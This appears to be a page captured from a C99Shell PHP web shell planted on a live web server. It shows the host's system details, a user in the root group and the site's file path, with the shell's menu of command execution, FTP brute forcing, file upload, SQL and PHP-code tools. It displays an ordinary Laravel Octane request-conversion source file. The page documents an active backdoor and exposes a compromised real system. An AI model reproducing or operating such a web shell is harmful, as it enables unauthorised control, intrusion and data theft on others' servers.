!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laravel/octane/src/Swoole/Actions/   drwxr-xr-x
Free 28.72 GB of 117.98 GB (24.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ConvertSwooleRequestToIlluminateRequest.php (3.2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Octane\Swoole\Actions;

use 
Illuminate\Http\Request;
use 
Symfony\Component\HttpFoundation\InputBag;
use 
Symfony\Component\HttpFoundation\Request as SymfonyRequest;

class 
ConvertSwooleRequestToIlluminateRequest
{
    
/**
     * Convert the given Swoole request into an Illuminate request.
     *
     * @param  \Swoole\Http\Request  $swooleRequest
     */
    
public function __invoke($swooleRequeststring $phpSapi): Request
    
{
        
$serverVariables $this->prepareServerVariables(
            
$swooleRequest->server ?? [],
            
$swooleRequest->header ?? [],
            
$phpSapi
        
);

        
$request = new SymfonyRequest(
            
$swooleRequest->get ?? [],
            
$swooleRequest->post ?? [],
            [],
            
$swooleRequest->cookie ?? [],
            
$swooleRequest->files ?? [],
            
$serverVariables,
            
$swooleRequest->rawContent(),
        );

        if (
str_starts_with((string) $request->headers->get('CONTENT_TYPE'), 'application/x-www-form-urlencoded') &&
            
in_array(strtoupper($request->server->get('REQUEST_METHOD''GET')), ['PUT''PATCH''DELETE'])) {
            
parse_str($request->getContent(), $data);

            
$request->request = new InputBag($data);
        }

        return 
Request::createFromBase($request);
    }

    
/**
     * Parse the "server" variables and headers into a single array of $_SERVER variables.
     */
    
protected function prepareServerVariables(array $server, array $headersstring $phpSapi): array
    {
        
$results = [];

        foreach (
$server as $key => $value) {
            
$results[strtoupper($key)] = $value;
        }

        
$results array_merge(
            
$results,
            
$this->formatHttpHeadersIntoServerVariables($headers)
        );

        if (isset(
$results['REQUEST_URI'], $results['QUERY_STRING']) &&
            
strlen($results['QUERY_STRING']) > &&
            
strpos($results['REQUEST_URI'], '?') === false) {
            
$results['REQUEST_URI'] .= '?'.$results['QUERY_STRING'];
        }

        return 
$phpSapi === 'cli-server'
                
$this->correctHeadersSetIncorrectlyByPhpDevServer($results)
                : 
$results;
    }

    
/**
     * Format the given HTTP headers into properly formatted $_SERVER variables.
     */
    
protected function formatHttpHeadersIntoServerVariables(array $headers): array
    {
        
$results = [];

        foreach (
$headers as $key => $value) {
            
$key strtoupper(str_replace('-''_'$key));

            if (! 
in_array($key, ['HTTPS''REMOTE_ADDR''SERVER_PORT'])) {
                
$key 'HTTP_'.$key;
            }

            
$results[$key] = $value;
        }

        return 
$results;
    }

    
/**
     * Correct headers set incorrectly by built-in PHP development server.
     */
    
protected function correctHeadersSetIncorrectlyByPhpDevServer(array $headers): array
    {
        if (
array_key_exists('HTTP_CONTENT_LENGTH'$headers)) {
            
$headers['CONTENT_LENGTH'] = $headers['HTTP_CONTENT_LENGTH'];
        }

        if (
array_key_exists('HTTP_CONTENT_TYPE'$headers)) {
            
$headers['CONTENT_TYPE'] = $headers['HTTP_CONTENT_TYPE'];
        }

        return 
$headers;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--